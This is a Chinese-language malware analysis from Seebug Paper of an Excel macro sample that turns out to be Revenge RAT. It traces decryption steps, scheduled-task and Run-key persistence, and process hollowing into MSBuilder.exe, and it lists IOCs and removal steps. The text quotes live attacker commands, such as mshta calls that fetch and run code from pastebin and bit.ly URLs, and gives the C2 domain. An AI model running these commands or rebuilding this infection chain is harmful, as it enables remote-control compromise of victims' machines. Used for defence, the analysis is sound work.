作者: Yenn_
原文鏈接:

基本信息

FileName FileSize FileType MD5
Order_679873892xls 47,4722 Byte Rat 7641fef8abc7cb24b66655d11ef3daf2

簡介

病毒是一個宏病毒,點擊啟用宏后會通過mshta.exe來訪問url,得到要執行的代碼,病毒會創建計劃任務與設置開機自啟,通過powershell執行代碼,從url得到兩段PE數據,通過宏加載第一個PE文件,然后通過第一個PE文件創建傀儡進程,傀儡進程是一個遠控

流程圖

img

詳細分析

解密

病毒會調用mshta.exe http://bit.ly/8hsshjahassahsh 打開網站后,發現是空白,在瀏覽器F12,查看網絡請求,刷新頁面

往下滑,找到script代碼,復制出來,復制到瀏覽器的console

img

去掉結尾的,把unscape之前的內容改為console.log(,輸出解密結果

img

StrReverse作用是使字符串反序,整理一下

img

最后會執行命令 WScript.Shell.RUN mshta http://www.pastebin.com/raw/nv5d9pYu 訪問這個url后會發現這個頁面已經掛了,但是在ANYRUN有人跑過這個樣本,可以看見傳回的參數

img

同樣的方法在console跑一遍,然后整理一下

img

結束進程

第一段代碼,調用CMD關閉進程winword.exe、excel.exe、MSPUB.exe、POWERPNT.exe

img

創建計劃任務

第二段代碼,創建一個計劃任務,名為Windows Update,每60分鐘執行一次,執行的內容是 mshta.exehttp://pastebin.com/raw/vXpe74L2

img

解密計劃任務執行的內容

在瀏覽器打開url后,全都是混淆的代碼

img

用一樣的方法在Console里面用Console.log輸出出來

img

復制到notepad++,看見代碼最下面有個replace

img

按Ctrl+H將中間的字符串替換掉

img

得到兩個字符串,用StrReverse函數將字符串反過來,最后是用powershell執行這段代碼

img

代碼解密出來為

img

利用powershell執行,第三行的代碼來自url https://pastebin.com/raw/wMG90xwi

img

經過解密后:得到一個MZ頭的PE數據

img

第四行的代碼url為 https://pastebin.com/raw/W455MkAZ

img

經過解密后,也可以得到MZ開頭的數據

img

給創建傀儡進程傳參

這里先創建一個實例,類和方法都來自第一段數據dll中,然后傳入兩個參數,第一個是創建的進程名“MSBuiler.exe”,第二個參數是第二段獲取的PE結構數據

img

調用powershell,執行上面代碼

img

第二段代碼內容:

img

創建計劃任務

訪問 http://pastebin.com/raw//JdTuFmc5 獲得要執行的代碼

img

和前面一樣,改成console.log

img

解密之后,發現與上一段代碼相同,只是計劃任務時間從60分鐘運行一次,變成了300分鐘運行一次

修改注冊表

第四段代碼修改注冊表,內容是http://pastebin.com/raw/CGe3S2Vf取回的內容

img

img

一樣,放進console里面,改成console.log,解密出的代碼如圖

img

最后還是和前兩段一樣的內容,在注冊表自啟動中寫入,利用Powershell執行代碼

img

反混淆

通過前面MSBuilder.exe編譯可以得到兩個PE文件,一個DLL,一個EXE,都是用.net編譯,都可用de4dot反混淆

img

反混淆后使用dnSpy查看dll文件,發現其中還是有很多混淆,是ConfuerEX,用工具解一下ConfuerEX混淆 解混淆之前:

img

解混淆之后:

img

在JS代碼最后,會調用.dll中的類和方法

img

img

創建傀儡進程

在Dodo函數傳入兩個參數,第一個是JS代碼中寫的MSBuilder,第二個是JS代碼中的$f,就是前面解密出的exe文件

img

在五個目錄下查找MSBuilder.exe

img

當查找到MSBuilder后,就執行下面的代碼

img

這個地方調用了tickleme函數,tickleme函數又調用了PEHeaderE和FUN函數

img

PEHeaderE函數:

img

FUN函數里又調用了Smethod_0函數,傳入的第一個參數是MSBuidler.exe第二個參數是exe的十六進制數據

img

Smethod_0函數,先創建了一個MSBuilder的進程

img

獲取到EXE的PE頭和ImageBase

img

判斷是32位系統或64位系統,調用獲取線程上下文函數

img

從內存中讀取4字節數據,然后卸載映像,清空內存,方便后面注入

img

得到exe ImageBase的大小然后申請對應大小的空間

img

在申請的空間中寫入exe的header

img

然后獲取到節表,遍歷寫入節表的所有節

img

img

將前面獲取到的線程上下文放回,然后喚醒線程,完成創建傀儡進程,執行exe里的內容

img

EXE

exe中可以看見C2服務器信息、互斥量、ID等信息

img

進來先找到main函數

img

.SCG就是new的自己,然后再調用Execute()函數,Execute函數內分別是This.SC、This.PT、This.INST三個函數,每個函數創建了一共線程,執行不同的代碼

img

img

其中包含有對C2服務器的TCP鏈接

img

獲得主機各種信息包括病毒ID、IP、主機名、系統信息、內存、殺軟信息等,并用key值(lunlaylo)做分隔符,然后發送到服務器

img

谷歌了一下互斥量“RV_MUTEX-WindowsUpdateSysten32”,發現是一個成熟的遠控,名叫” Revenge Rat”。

樣本溯源

File Name MD5
Order_679873892xls 7641fef8abc7cb24b66655d11ef3daf2
.dll d1726dc5808c22be63507e06bbdc087
.exe esd785a808f7272fb79E33a66570d844
C2: meandmyjoggar.duckdns.org
URL: http://www.pastebin.com/raw/nv5d9pYu
http://pastebin.com/raw/vXpe74L2
https://pastebin.com/raw/W455MkAZ
http://pastebin.com/raw//JdTuFmc5
http://pastebin.com/raw/CGe3S2Vf
MUTEX: RV_MUTEX-WindowsUpdateSysten32

查殺方案

刪除注冊表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate 刪除名為Windows Update和Update的調用mshta.exe的計劃任務 結束進程“MSBuilder.exe

總結

病毒使用excel中的宏執行代碼,執行的代碼都是從url中獲取然后解密出來得到,添加的自啟動或計劃任務也沒有程序落地,每次運行都從url得到數據創建一個傀儡進程實現遠控。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1514/